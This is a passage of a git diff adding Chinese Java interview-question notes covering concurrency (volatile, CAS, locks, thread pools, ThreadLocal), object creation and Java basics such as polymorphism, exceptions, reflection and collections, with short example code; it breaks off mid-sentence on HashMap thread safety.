1.8 | +| :------- | :--------------------------: | ---------------------------------: | +| 锁粒度 | 基于segment | 基于entry节点 | +| 锁 | reentrantLock | synchronized | +| 底层结构 | Segment + HashEntry + Unsafe | Synchronized + CAS + Node + Unsafe | + +## 12.介绍一下 hashset 吧 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-06.png) + +上图是 set 家族整体的结构, + +set 继承于 Collection 接口,是一个**不允许出现重复元素,并且无序的集合**. + +HashSet 是**基于 HashMap 实现**的,底层**采用 HashMap 来保存元素** + +元素的哈希值是通过元素的 hashcode 方法 来获取的, HashSet 首先判断两个元素的哈希值,如果哈希值一样,接着会比较 equals 方法 如果 equls 结果为 true ,HashSet 就视为同一个元素。如果 equals 为 false 就不是同一个元素。 + +## 13.什么是泛型? + +泛型:**把类型明确的工作推迟到创建对象或调用方法的时候才去明确的特殊的类型** + +## 14.泛型擦除是什么? + +因为泛型其实只是在编译器中实现的而虚拟机并不认识泛型类项,所以要在虚拟机中将泛型类型进行擦除。也就是说,**在编译阶段使用泛型,运行阶段取消泛型,即擦除**。 擦除是将泛型类型以其父类代替,如String 变成了Object等。其实在使用的时候还是进行带强制类型的转化,只不过这是比较安全的转换,因为在编译阶段已经确保了数据的一致性。 + +## 15.说说进程和线程的区别? + +**进程是系统资源分配和调度的基本单位**,它能并发执行较高系统资源的利用率. + +**线程**是**比进程更小**的能独立运行的基本单位,创建、销毁、切换成本要小于进程,可以减少程序并发执行时的时间和空间开销,使得操作系统具有更好的并发性。 + +## 16.volatile 有什么作用? + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-07.png) + +- **1.保证内存可见性** + - 可见性是指线程之间的可见性,一个线程修改的状态对另一个线程是可见的。也就是一个线程修改的结果,另一个线程马上就能看到。 +- **2.禁止指令重排序** + - cpu 是和缓存做交互的,但是由于 cpu 运行效率太高,所以会不等待当前命令返回结果从而继续执行下一个命令,就会有乱序执行的情况发生 + +## 17.什么是包装类?为什么需要包装类? + +**Java 中有 8 个基本类型,分别对应的 8 个包装类** + +- byte -- Byte +- boolean -- Boolean +- short -- Short +- char -- Character +- int -- Integer +- long -- Long +- float -- Float +- double -- Double + +**为什么需要包装类**: + +- 基本数据类型方便、简单、高效,但泛型不支持、集合元素不支持 +- 不符合面向对象思维 +- 包装类提供很多方法,方便使用,如 Integer 类 toHexString(int i)、parseInt(String s) 方法等等 + +## 18.Integer a = 1000,Integer b = 1000,a==b 的结果是什么?那如果 a,b 都为1,结果又是什么? + +Integer a = 1000,Integer b = 1000,a==b 结果为**false** + +Integer a = 1,Integer b = 1,a==b 结果为**true** + +这道题主要考察 Integer 包装类缓存的范围,**在-128~127之间会缓存起来**,比较的是直接缓存的数据,在此之外比较的是对象 + +## 19.JMM 是什么? + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-08.png) + +JMM 就是 **Java内存模型**(java memory model)。因为在不同的硬件生产商和不同的操作系统下,内存的访问有一定的差异,所以会造成相同的代码运行在不同的系统上会出现各种问题。所以java内存模型(JMM)**屏蔽掉各种硬件和操作系统的内存访问差异,以实现让java程序在各种平台下都能达到一致的并发效果**。 + +Java内存模型规定所有的变量都存储在主内存中,包括实例变量,静态变量,但是不包括局部变量和方法参数。每个线程都有自己的工作内存,线程的工作内存保存了该线程用到的变量和主内存的副本拷贝,线程对变量的操作都在工作内存中进行。**线程不能直接读写主内存中的变量**。 + +每个线程的工作内存都是独立的,**线程操作数据只能在工作内存中进行,然后刷回到主存**。这是 Java 内存模型定义的线程基本工作方式。 + + +## 20.创建对象有哪些方式 + +有**五种创建对象的方式** + +- 1、new关键字 + +``` +Person p1 = new Person(); +``` + +- 2.Class.newInstance + +``` +Person p1 = Person.class.newInstance(); +``` + +- 3.Constructor.newInstance + +``` +Constructor constructor = Person.class.getConstructor(); +Person p1 = constructor.newInstance(); +``` + +- 4.clone + +``` +Person p1 = new Person(); +Person p2 = p1.clone(); +``` + +- 5.反序列化 + +``` +Person p1 = new Person(); +byte[] bytes = SerializationUtils.serialize(p1); +Person p2 = (Person)SerializationUtils.deserialize(bytes); +``` + +## 21.讲讲单例模式懒汉式吧 + +直接贴代码 + +``` +// 懒汉式 +public class Singleton { +// 延迟加载保证多线程安全 + Private volatile static Singleton singleton; + private Singleton(){} + public static Singleton getInstance(){ + if(singleton == null){ + synchronized(Singleton.class){ + if(singleton == null){ + singleton = new Singleton(); + } + } + } + return singleton; + } +} +``` + +- 使用 volatile 是**防止指令重排序,保证对象可见**,防止读到半初始化状态的对象 +- 第一层if(singleton == null) 是为了防止有多个线程同时创建 +- synchronized 是加锁防止多个线程同时进入该方法创建对象 +- 第二层if(singleton == null) 是防止有多个线程同时等待锁,一个执行完了后面一个又继续执行的情况 + +## 22.volatile 有什么作用 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-09.png) + +- 1.**保证内存可见性** + - 当一个被volatile关键字修饰的变量被一个线程修改的时候,其他线程可以立刻得到修改之后的结果。当一个线程向被volatile关键字修饰的变量**写入数据**的时候,虚拟机会**强制它被值刷新到主内存中**。当一个线程**读取**被volatile关键字修饰的值的时候,虚拟机会**强制要求它从主内存中读取**。 +- 2.**禁止指令重排序** + - 指令重排序是编译器和处理器为了高效对程序进行优化的手段,cpu 是与内存交互的,而 cpu 的效率想比内存高很多,所以 cpu 会在不影响最终结果的情况下,不等待返回结果直接进行后续的指令操作,而 volatile 就是给相应代码加了**内存屏障**,在屏障内的代码禁止指令重排序。 + +## 23.怎么保证线程安全? + +- 1.synchronized关键字 + - 可以用于代码块,方法(静态方法,同步锁是当前字节码对象;实例方法,同步锁是实例对象) +- 2.lock锁机制 + +``` +Lock lock = new ReentrantLock(); +lock. lock(); +try { + System. out. println("获得锁"); +} catch (Exception e) { + +} finally { + System. out. println("释放锁"); + lock. unlock(); +} +``` + +## 24.synchronized 锁升级的过程 + +在 Java1.6 之前的版本中,synchronized 属于重量级锁,效率低下,**锁是** cpu 一个**总量级的资源**,每次获取锁都要和 cpu 申请,非常消耗性能。 + +在 **jdk1.6 之后** Java 官方对从 JVM 层面对 synchronized 较大优化,所以现在的 synchronized 锁效率也优化得很不错了,Jdk1.6 之后,为了减少获得锁和释放锁所带来的性能消耗,引入了偏向锁和轻量级锁,**增加了锁升级的过程**,由无锁->偏向锁->自旋锁->重量级锁 +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-10.png) + +增加锁升级的过程主要是**减少用户态到核心态的切换,提高锁的效率,从 jvm 层面优化锁** + +## 25.cas 是什么? + +cas 叫做 CompareAndSwap,**比较并交换**,很多地方使用到了它,比如锁升级中自旋锁就有用到,主要是**通过处理器的指令来保证操作的原子性**,它主要包含三个变量: + +- **1.变量内存地址** +- **2.旧的预期值 A** +- **3.准备设置的新值 B** + +当一个线程需要修改一个共享变量的值,完成这个操作需要先取出共享变量的值,赋给 A,基于 A 进行计算,得到新值 B,在用预期原值 A 和内存中的共享变量值进行比较,**如果相同就认为其他线程没有进行修改**,而将新值写入内存 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-11.png) + +**CAS的缺点** + +- **CPU开销比较大**:在并发量比较高的情况下,如果许多线程反复尝试更新某一个变量,却又一直更新不成功,又因为自旋的时候会一直占用CPU,如果CAS一直更新不成功就会一直占用,造成CPU的浪费。 + +- **ABA 问题**:比如线程 A 去修改 1 这个值,修改成功了,但是中间 线程 B 也修改了这个值,但是修改后的结果还是 1,所以不影响 A 的操作,这就会有问题。可以用**版本号**来解决这个问题。 + +- **只能保证一个共享变量的原子性** + +## 26.聊聊 ReentrantLock 吧 + +ReentrantLock 意为**可重入锁**,说起 ReentrantLock 就不得不说 AQS ,因为其底层就是**使用 AQS 去实现**的。 + +ReentrantLock有两种模式,一种是公平锁,一种是非公平锁。 + +- 公平模式下等待线程入队列后会严格按照队列顺序去执行 +- 非公平模式下等待线程入队列后有可能会出现插队情况 + +**公平锁** + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-12.png) + +- 第一步:**获取状态的 state 的值** + - 如果 state=0 即代表锁没有被其它线程占用,执行第二步。 + - 如果 state!=0 则代表锁正在被其它线程占用,执行第三步。 +- 第二步:**判断队列中是否有线程在排队等待** + - 如果不存在则直接将锁的所有者设置成当前线程,且更新状态 state 。 + - 如果存在就入队。 +- 第三步:**判断锁的所有者是不是当前线程** + - 如果是则更新状态 state 的值。 + - 如果不是,线程进入队列排队等待。 + +**非公平锁** + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-13.png) + +- 获取状态的 state 的值 + - 如果 state=0 即代表锁没有被其它线程占用,则设置当前锁的持有者为当前线程,该操作用 CAS 完成。 + - 如果不为0或者设置失败,代表锁被占用进行下一步。 +- 此时**获取 state 的值** + - 如果是,则给state+1,获取锁 + - 如果不是,则进入队列等待 + - 如果是0,代表刚好线程释放了锁,此时将锁的持有者设为自己 + - 如果不是0,则查看线程持有者是不是自己 + +## 27.多线程的创建方式有哪些? + +- 1、**继承Thread类**,重写run()方法 + +``` +public class Demo extends Thread{ + //重写父类Thread的run() + public void run() { + } + public static void main(String[] args) { + Demo d1 = new Demo(); + Demo d2 = new Demo(); + d1.start(); + d2.start(); + } +} +``` + +- 2.**实现Runnable接口**,重写run() + +``` +public class Demo2 implements Runnable{ + + //重写Runnable接口的run() + public void run() { + } + + public static void main(String[] args) { + Thread t1 = new Thread(new Demo2()); + Thread t2 = new Thread(new Demo2()); + t1.start(); + t2.start(); + } + +} +``` + +- 3.**实现 Callable 接口** + +``` +public class Demo implements Callable{ + + public String call() throws Exception { + System.out.println("正在执行新建线程任务"); + Thread.sleep(2000); + return "结果"; + } + + public static void main(String[] args) throws InterruptedException, ExecutionException { + Demo d = new Demo(); + FutureTask task = new FutureTask<>(d); + Thread t = new Thread(task); + t.start(); + //获取任务执行后返回的结果 + String result = task.get(); + } + +} +``` + +- 4.**使用线程池创建** + +``` +public class Demo { + public static void main(String[] args) { + Executor threadPool = Executors.newFixedThreadPool(5); + for(int i = 0 ;i < 10 ; i++) { + threadPool.execute(new Runnable() { + public void run() { + //todo + } + }); + } + + } +} +``` + +## 28.线程池有哪些参数? + +- **1.corePoolSize**:**核心线程数**,线程池中始终存活的线程数。 +- **2.maximumPoolSize**: **最大线程数**,线程池中允许的最大线程数。 +- **3.keepAliveTime**: **存活时间**,线程没有任务执行时最多保持多久时间会终止。 + +- **4.unit**: **单位**,参数keepAliveTime的时间单位,7种可选。 +- **5.workQueue**: 一个**阻塞队列**,用来存储等待执行的任务,均为线程安全,7种可选。 +- **6.threadFactory**: **线程工厂**,主要用来创建线程,默及正常优先级、非守护线程。 + +- **7.handler**:**拒绝策略**,拒绝处理任务时的策略,4种可选,默认为AbortPolicy。 + +## 29.线程池的执行流程? + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-14.png) + +- 判断线程池中的线程数**是否大于设置的核心线程数** + - 如果**小于**,就**创建**一个核心线程来执行任务 + - 如果**大于**,就会**判断缓冲队列是否满了** + - 如果**没有满**,则**放入队列**,等待线程空闲时执行任务 + - 如果队列已经**满了**,则判断**是否达到了线程池设置的最大线程数** + - 如果**没有达到**,就**创建新线程**来执行任务 + - 如果已经**达到了**最大线程数,则**执行指定的拒绝策略** + +## 30.线程池的拒绝策略有哪些? + +- **AbortPolicy**:直接丢弃任务,抛出异常,这是默认策略 +- **CallerRunsPolicy**:只用调用者所在的线程来处理任务 +- **DiscardOldestPolicy**:丢弃等待队列中最旧的任务,并执行当前任务 +- **DiscardPolicy**:直接丢弃任务,也不抛出异常 + +## 31.介绍一下四种引用类型? + +- **强引用 StrongReference** + +``` +Object obj = new Object(); +//只要obj还指向Object对象,Object对象就不会被回收 +``` + +垃圾回收器不会回收被引用的对象,哪怕内存不足时,JVM 也会直接抛出 OutOfMemoryError,除非赋值为 null。 + +- **软引用 SoftReference** + +软引用是用来描述一些非必需但仍有用的对象。在内存足够的时候,软引用对象不会被回收,只有在内存不足时,系统则会回收软引用对象,如果回收了软引用对象之后仍然没有足够的内存,才会抛出内存溢出异常。 + +- **弱引用 WeakReference** + +弱引用的引用强度比软引用要更弱一些,无论内存是否足够,只要 JVM 开始进行垃圾回收,那些被弱引用关联的对象都会被回收。 + +- **虚引用 PhantomReference** + +虚引用是最弱的一种引用关系,如果一个对象仅持有虚引用,那么它就和没有任何引用一样,它随时可能会被回收,在 JDK1.2 之后,用 PhantomReference 类来表示,通过查看这个类的源码,发现它只有一个构造函数和一个 get() 方法,而且它的 get() 方法仅仅是返回一个null,也就是说将永远无法通过虚引用来获取对象,虚引用必须要和 ReferenceQueue 引用队列一起使用,NIO 的堆外内存就是靠其管理。 + +## 32.深拷贝、浅拷贝是什么? + +- 浅拷贝并不是真的拷贝,只是**复制指向某个对象的指针**,而不复制对象本身,新旧对象还是共享同一块内存。 +- 深拷贝会另外**创造一个一模一样的对象**,新对象跟原对象不共享内存,修改新对象不会改到原对象。 + +## 33.聊聊 ThreadLocal 吧 + +- ThreadLocal其实就是**线程本地变量**,他会在每个线程都创建一个副本,那么在线程之间访问内部副本变量就行了,做到了线程之间互相隔离。 +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-15.png) +- ThreadLocal 有一个**静态内部类 ThreadLocalMap**,ThreadLocalMap 又包含了一个 Entry 数组,**Entry 本身是一个弱引用**,他的 key 是指向 ThreadLocal 的弱引用,**弱引用的目的是为了防止内存泄露**,如果是强引用那么除非线程结束,否则无法终止,可能会有内存泄漏的风险。 +- 但是这样还是会存在内存泄露的问题,假如 key 和 ThreadLocal 对象被回收之后,entry 中就存在 key 为 null ,但是 value 有值的 entry 对象,但是永远没办法被访问到,同样除非线程结束运行。**解决方法就是调用 remove 方法删除 entry 对象**。 + +## 34.一个对象的内存布局是怎么样的? + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/baguwen/java-basic-34-16.png) + +- **1.对象头**: + 对象头又分为 **MarkWord** 和 **Class Pointer** 两部分。 + - **MarkWord**:包含一系列的标记位,比如轻量级锁的标记位,偏向锁标记位,gc记录信息等等。 + - **ClassPointer**:用来指向对象对应的 Class 对象(其对应的元数据对象)的内存地址。在 32 位系统占 4 字节,在 64 位系统中占 8 字节。 +- **2.Length**:只在数组对象中存在,用来记录数组的长度,占用 4 字节 +- **3.Instance data**: + 对象实际数据,对象实际数据包括了对象的所有成员变量,其大小由各个成员变量的大小决定。(这里不包括静态成员变量,因为其是在方法区维护的) +- **4.Padding**:Java 对象占用空间是 8 字节对齐的,即所有 Java 对象占用 bytes 数必须是 8 的倍数,是因为当我们从磁盘中取一个数据时,不会说我想取一个字节就是一个字节,都是按照一块儿一块儿来取的,这一块大小是 8 个字节,所以为了完整,padding 的作用就是补充字节,**保证对象是 8 字节的整数倍**。 + +--- diff --git a/docs/baguwen/java-basic.md b/docs/baguwen/java-basic.md new file mode 100644 index 0000000000..fe14e2288e --- /dev/null +++ b/docs/baguwen/java-basic.md @@ -0,0 +1,391 @@ +### Java 语言具有哪些特点? + +- Java 为纯面向对象的语言。它能够直接反应现实生活中的对象。 +- 具有平台无关性。Java 利用 Java 虚拟机运行字节码,无论是在 Windows、Linux 还是 MacOS 等其它平台对 Java 程序进行编译,编译后的程序可在其它平台运行。 +- Java 为解释型语言,编译器把 Java 代码编译成平台无关的中间代码,然后在 JVM 上解释运行,具有很好的可移植性。 +- Java 提供了很多内置类库。如对多线程支持,对网络通信支持,最重要的一点是提供了垃圾回收器。 +- Java 具有较好的安全性和健壮性。Java 提供了异常处理和垃圾回收机制,去除了 C++中难以理解的指针特性。 + +### JDK 与 JRE 有什么区别? + +- JDK:Java 开发工具包(Java Development Kit),提供了 Java 的开发环境和运行环境。 +- JRE:Java 运行环境(Java Runtime Environment),提供了 Java 运行所需的环境。 +- JDK 包含了 JRE。如果只运行 Java 程序,安装 JRE 即可。要编写 Java 程序需安装 JDK. + +### 简述 Java 基本数据类型 + +- byte: 占用 1 个字节,取值范围-128 ~ 127 +- short: 占用 2 个字节,取值范围-2^15^ ~ 2^15^-1 +- int:占用 4 个字节,取值范围-2^31^ ~ 2^31^-1 +- long:占用 8 个字节 +- float:占用 4 个字节 +- double:占用 8 个字节 +- char: 占用 2 个字节 +- boolean:占用大小根据实现虚拟机不同有所差异 + + + +### 简述自动装箱拆箱 + +对于 Java 基本数据类型,均对应一个包装类。 + +装箱就是自动将基本数据类型转换为包装器类型,如 int->Integer + +拆箱就是自动将包装器类型转换为基本数据类型,如 Integer->int + + + + + +### 简述 Java 访问修饰符 + +- default: 默认访问修饰符,在同一包内可见 +- private: 在同一类内可见,不能修饰类 +- protected : 对同一包内的类和所有子类可见,不能修饰类 +- public: 对所有类可见 + +### 构造方法、成员变量初始化以及静态成员变量三者的初始化顺序? + +先后顺序:静态成员变量、成员变量、构造方法。 + +详细的先后顺序:父类静态变量、父类静态代码块、子类静态变量、子类静态代码块、父类非静态变量、父类非静态代码块、父类构造函数、子类非静态变量、子类非静态代码块、子类构造函数。 + +### Java 代码块执行顺序 + +- 父类静态代码块(只执行一次) +- 子类静态代码块(只执行一次) +- 父类构造代码块 +- 父类构造函数 +- 子类构造代码块 +- 子类构造函数 +- 普通代码块 + + + +### 面向对象的三大特性? + +继承:对象的一个新类可以从现有的类中派生,派生类可以从它的基类那继承方法和实例变量,且派生类可以修改或新增新的方法使之更适合特殊的需求。 + +封装:将客观事物抽象成类,每个类可以把自身数据和方法只让可信的类或对象操作,对不可信的进行信息隐藏。 + +多态:允许不同类的对象对同一消息作出响应。不同对象调用相同方法即使参数也相同,最终表现行为是不一样的。 + +### 为什么 Java 语言不支持多重继承? + +为了程序的结构能够更加清晰从而便于维护。假设 Java 语言支持多重继承,类 C 继承自类 A 和类 B,如果类 A 和 B 都有自定义的成员方法 `f()`,那么当代码中调用类 C 的 `f()` 会产生二义性。 + +Java 语言通过实现多个接口间接支持多重继承,接口由于只包含方法定义,不能有方法的实现,类 C 继承接口 A 与接口 B 时即使它们都有方法`f()`,也不能直接调用方法,需实现具体的`f()`方法才能调用,不会产生二义性。 + +多重继承会使类型转换、构造方法的调用顺序变得复杂,会影响到性能。 + +### 简述 Java 的多态 + +Java 多态可以分为编译时多态和运行时多态。 + +编译时多态主要指方法的重载,即通过参数列表的不同来区分不同的方法。 + +运行时多态主要指继承父类和实现接口时,可使用父类引用指向子类对象。 + +运行时多态的实现:主要依靠方法表,方法表中最先存放的是 Object 类的方法,接下来是该类的父类的方法,最后是该类本身的方法。如果子类改写了父类的方法,那么子类和父类的那些同名方法共享一个方法表项,都被认作是父类的方法。因此可以实现运行时多态。 + +### Java 提供的多态机制? + +Java 提供了两种用于多态的机制,分别是重载与覆盖。 + +重载:重载是指同一个类中有多个同名的方法,但这些方法有不同的参数,在编译期间就可以确定调用哪个方法。 + +覆盖:覆盖是指派生类重写基类的方法,使用基类指向其子类的实例对象,或接口的引用变量指向其实现类的实例对象,在程序调用的运行期根据引用变量所指的具体实例对象调用正在运行的那个对象的方法,即需要到运行期才能确定调用哪个方法。 + +### 重载与覆盖的区别? + +- 覆盖是父类与子类之间的关系,是垂直关系;重载是同一类中方法之间的关系,是水平关系。 +- 覆盖只能由一个方法或一对方法产生关系;重载是多个方法之间的关系。 +- 覆盖要求参数列表相同;重载要求参数列表不同。 +- 覆盖中,调用方法体是根据对象的类型来决定的,而重载是根据调用时实参表与形参表来对应选择方法体。 +- 重载方法可以改变返回值的类型,覆盖方法不能改变返回值的类型。 + +### 接口和抽象类的相同点和不同点? + +相同点: + +- 都不能被实例化。 +- 接口的实现类或抽象类的子类需实现接口或抽象类中相应的方法才能被实例化。 + +不同点: + +- 接口只能有方法定义,不能有方法的实现,而抽象类可以有方法的定义与实现。 + +- 实现接口的关键字为 implements,继承抽象类的关键字为 extends。一个类可以实现多个接口,只能继承一个抽象类。 + +- 当子类和父类之间存在逻辑上的层次结构,推荐使用抽象类,有利于功能的累积。当功能不需要,希望支持差别较大的两个或更多对象间的特定交互行为,推荐使用接口。使用接口能降低软件系统的耦合度,便于日后维护或添加删除方法。 + +### 简述抽象类与接口的区别 + +抽象类:体现的是 is-a 的关系,如对于 man is a person,就可以将 person 定义为抽象类。 + +接口:体现的是 can 的关系。是作为模板实现的。如设置接口 fly,plane 类和 bird 类均可实现该接口。 + +一个类只能继承一个抽象类,但可以实现多个接口。 + +### 简述内部类及其作用 + +- 成员内部类:作为成员对象的内部类。可以访问 private 及以上外部类的属性和方法。外部类想要访问内部类属性或方法时,必须要创建一个内部类对象,然后通过该对象访问内部类的属性或方法。外部类也可访问 private 修饰的内部类属性。 +- 局部内部类:存在于方法中的内部类。访问权限类似局部变量,只能访问外部类的 final 变量。 +- 匿名内部类:只能使用一次,没有类名,只能访问外部类的 final 变量。 +- 静态内部类:类似类的静态成员变量。 + + + + +### Java 语言中关键字 static 的作用是什么? + static 的主要作用有两个: + +- 为某种特定数据类型或对象分配与创建对象个数无关的单一的存储空间。 +- 使得某个方法或属性与类而不是对象关联在一起,即在不创建对象的情况下可通过类直接调用方法或使用类的属性。 + +具体而言 static 又可分为 4 种使用方式: + +- 修饰成员变量。用 static 关键字修饰的静态变量在内存中只有一个副本。只要静态变量所在的类被加载,这个静态变量就会被分配空间,可以使用“类.静态变量”和“对象.静态变量”的方法使用。 +- 修饰成员方法。static 修饰的方法无需创建对象就可以被调用。static 方法中不能使用 this 和 super 关键字,不能调用非 static 方法,只能访问所属类的静态成员变量和静态成员方法。 +- 修饰代码块。JVM 在加载类的时候会执行 static 代码块。static 代码块常用于初始化静态变量。static 代码块只会被执行一次。 +- 修饰内部类。static 内部类可以不依赖外部类实例对象而被实例化。静态内部类不能与外部类有相同的名字,不能访问普通成员变量,只能访问外部类中的静态成员和静态成员方法。 + + + + + +### 为什么要把 String 设计为不可变? + +- 节省空间:字符串常量存储在 JVM 的字符串池中可以被用户共享。 +- 提高效率:String 可以被不同线程共享,是线程安全的。在涉及多线程操作中不需要同步操作。 +- 安全:String 常被用于用户名、密码、文件名等使用,由于其不可变,可避免黑客行为对其恶意修改。 + +### 简述 String/StringBuffer 与 StringBuilder + +String 类采用利用 final 修饰的字符数组进行字符串保存,因此不可变。如果对 String 类型对象修改,需要新建对象,将老字符和新增加的字符一并存进去。 + +StringBuilder,采用无 final 修饰的字符数组进行保存,因此可变。但线程不安全。 + +StringBuffer,采用无 final 修饰的字符数组进行保存,可理解为实现线程安全的 StringBuilder。 + +### 判等运算符==与 equals 的区别? + +== 比较的是引用,equals 比较的是内容。 + +如果变量是基础数据类型,== 用于比较其对应值是否相等。如果变量指向的是对象,== 用于比较两个对象是否指向同一块存储空间。 + +equals 是 Object 类提供的方法之一,每个 Java 类都继承自 Object 类,所以每个对象都具有 equals 这个方法。Object 类中定义的 equals 方法内部是直接调用 == 比较对象的。但通过覆盖的方法可以让它不是比较引用而是比较数据内容。 + +### 简述 Object 类常用方法 + +- hashCode:通过对象计算出的散列码。用于 map 型或 equals 方法。需要保证同一个对象多次调用该方法,总返回相同的整型值。 +- equals:判断两个对象是否一致。需保证 equals 方法相同对应的对象 hashCode 也相同。 +- toString: 用字符串表示该对象 +- clone:深拷贝一个对象 + +### Java 中一维数组和二维数组的声明方式? + +一维数组的声明方式: + +```java +type arrayName[] +type[] arrayName +``` + +二维数组的声明方式: + +```java +type arrayName[][] +type[][] arrayName +type[] arrayName[] +``` + +其中 type 为基本数据类型或类,arrayName 为数组名字 + +### 简述 Java 异常的分类 + +Java 异常分为 Error(程序无法处理的错误),和 Exception(程序本身可以处理的异常)。这两个类均继承 Throwable。 + +Error 常见的有 StackOverFlowError、OutOfMemoryError 等等。 + +Exception 可分为运行时异常和非运行时异常。对于运行时异常,可以利用 try catch 的方式进行处理,也可以不处理。对于非运行时异常,必须处理,不处理的话程序无法通过编译。 + +### 简述 throw 与 throws 的区别 + +throw 一般是用在方法体的内部,由开发者定义当程序语句出现问题后主动抛出一个异常。 + +throws 一般用于方法声明上,代表该方法可能会抛出的异常列表。 + +### 出现在 Java 程序中的 finally 代码块是否一定会执行? + +当遇到下面情况不会执行。 + +- 当程序在进入 try 语句块之前就出现异常时会直接结束。 +- 当程序在 try 块中强制退出时,如使用 System.exit(0),也不会执行 finally 块中的代码。 + +其它情况下,在 try/catch/finally 语句执行的时候,try 块先执行,当有异常发生,catch 和 finally 进行处理后程序就结束了,当没有异常发生,在执行完 finally 中的代码后,后面代码会继续执行。值得注意的是,当 try/catch 语句块中有 return 时,finally 语句块中的代码会在 return 之前执行。如果 try/catch/finally 块中都有 return 语句,finally 块中的 return 语句会覆盖 try/catch 模块中的 return 语句。 + +### final、finally 和 finalize 的区别是什么? + +- final 用于声明属性、方法和类,分别表示属性不可变、方法不可覆盖、类不可继承。 +- finally 作为异常处理的一部分,只能在 try/catch 语句中使用,finally 附带一个语句块用来表示这个语句最终一定被执行,经常被用在需要释放资源的情况下。 +- finalize 是 Object 类的一个方法,在垃圾收集器执行的时候会调用被回收对象的 finalize()方法。当垃圾回收器准备好释放对象占用空间时,首先会调用 finalize()方法,并在下一次垃圾回收动作发生时真正回收对象占用的内存。 + +### 简述泛型 + +泛型,即“参数化类型”,解决不确定对象具体类型的问题。在编译阶段有效。在泛型使用过程中,操作的数据类型被指定为一个参数,这种参数类型在类中称为泛型类、接口中称为泛型接口和方法中称为泛型方法。 + +### 简述泛型擦除 + +Java 编译器生成的字节码是不包涵泛型信息的,泛型类型信息将在编译处理是被擦除,这个过程被称为泛型擦除。 + +### 简述注解 + +Java 注解用于为 Java 代码提供元数据。作为元数据,注解不直接影响你的代码执行,但也有一些类型的注解实际上可以用于这一目的。 + +其可以用于提供信息给编译器,在编译阶段时给软件提供信息进行相关的处理,在运行时处理写相应代码,做对应操作。 + +### 简述元注解 + +元注解可以理解为注解的注解,即在注解中使用,实现想要的功能。其具体分为: + +- @Retention: 表示注解存在阶段是保留在源码,还是在字节码(类加载)或者运行期(JVM 中运行)。 +- @Target:表示注解作用的范围。 +- @Documented:将注解中的元素包含到 Javadoc 中去。 +- @Inherited:一个被@Inherited 注解了的注解修饰了一个父类,如果他的子类没有被其他注解修饰,则它的子类也继承了父类的注解。 +- @Repeatable:被这个元注解修饰的注解可以同时作用一个对象多次,但是每次作用注解又可以代表不同的含义。 + + + + +### 简述 Java 中 Class 对象 + +java 中对象可以分为实例对象和 Class 对象,每一个类都有一个 Class 对象,其包含了与该类有关的信息。 + +获取 Class 对象的方法: + +```java +Class.forName(“类的全限定名”) +实例对象.getClass() +类名.class +``` + +### Java 反射机制是什么? + +Java 反射机制是指在程序的运行过程中可以构造任意一个类的对象、获取任意一个类的成员变量和成员方法、获取任意一个对象所属的类信息、调用任意一个对象的属性和方法。反射机制使得 Java 具有动态获取程序信息和动态调用对象方法的能力。可以通过以下类调用反射 API。 + +- Class 类:可获得类属性方法 +- Field 类:获得类的成员变量 +- Method 类:获取类的方法信息 +- Construct 类:获取类的构造方法等信息 + + + + + + + + + + +### 序列化是什么? + +序列化是一种将对象转换成字节序列的过程,用于解决在对对象流进行读写操作时所引发的问题。序列化可以将对象的状态写在流里进行网络传输,或者保存到文件、数据库等系统里,并在需要的时候把该流读取出来重新构造成一个相同的对象。 + + +### 简述 Java 序列化与反序列化的实现 + +序列化:将 java 对象转化为字节序列,由此可以通过网络对象进行传输。 + +反序列化:将字节序列转化为 java 对象。 + +具体实现:实现 Serializable 接口,或实现 Externalizable 接口中的 writeExternal()与 readExternal()方法。 + +### 简述 Java 的 List + +List 是一个有序队列,在 Java 中有两种实现方式: + +ArrayList 使用数组实现,是容量可变的非线程安全列表,随机访问快,集合扩容时会创建更大的数组,把原有数组复制到新数组。 + +LinkedList 本质是双向链表,与 ArrayList 相比插入和删除速度更快,但随机访问元素很慢。 + +### Java 中线程安全的基本数据结构有哪些 + +- HashTable: 哈希表的线程安全版,效率低 +- ConcurrentHashMap:哈希表的线程安全版,效率高,用于替代 HashTable +- Vector:线程安全版 Arraylist +- Stack:线程安全版栈 +- BlockingQueue 及其子类:线程安全版队列 + +### 简述 Java 的 Set + +Set 即集合,该数据结构不允许元素重复且无序。Java 对 Set 有三种实现方式: + +HashSet 通过 HashMap 实现,HashMap 的 Key 即 HashSet 存储的元素,Value 系统自定义一个名为 PRESENT 的 Object 类型常量。判断元素是否相同时,先比较 hashCode,相同后再利用 equals 比较,查询 O(1) + +LinkedHashSet 继承自 HashSet,通过 LinkedHashMap 实现,使用双向链表维护元素插入顺序。 + +TreeSet 通过 TreeMap 实现的,底层数据结构是红黑树,添加元素到集合时按照比较规则将其插入合适的位置,保证插入后的集合仍然有序。查询 O(logn) + +### 简述 Java 的 HashMap + +JDK8 之前底层实现是数组 + 链表,JDK8 改为数组 + 链表/红黑树。主要成员变量包括存储数据的 table 数组、元素数量 size、加载因子 loadFactor。HashMap 中数据以键值对的形式存在,键对应的 hash 值用来计算数组下标,如果两个元素 key 的 hash 值一样,就会发生哈希冲突,被放到同一个链表上。 + +table 数组记录 HashMap 的数据,每个下标对应一条链表,所有哈希冲突的数据都会被存放到同一条链表,Node/Entry 节点包含四个成员变量:key、value、next 指针和 hash 值。在 JDK8 后链表超过 8 会转化为红黑树。 + +若当前数据/总数据容量>负载因子,Hashmap 将执行扩容操作。默认初始化容量为 16,扩容容量必须是 2 的幂次方、最大容量为 1<< 30 、默认加载因子为 0.75。 + +### 为何 HashMap 线程不安全 + +在 JDK1.7 中,HashMap 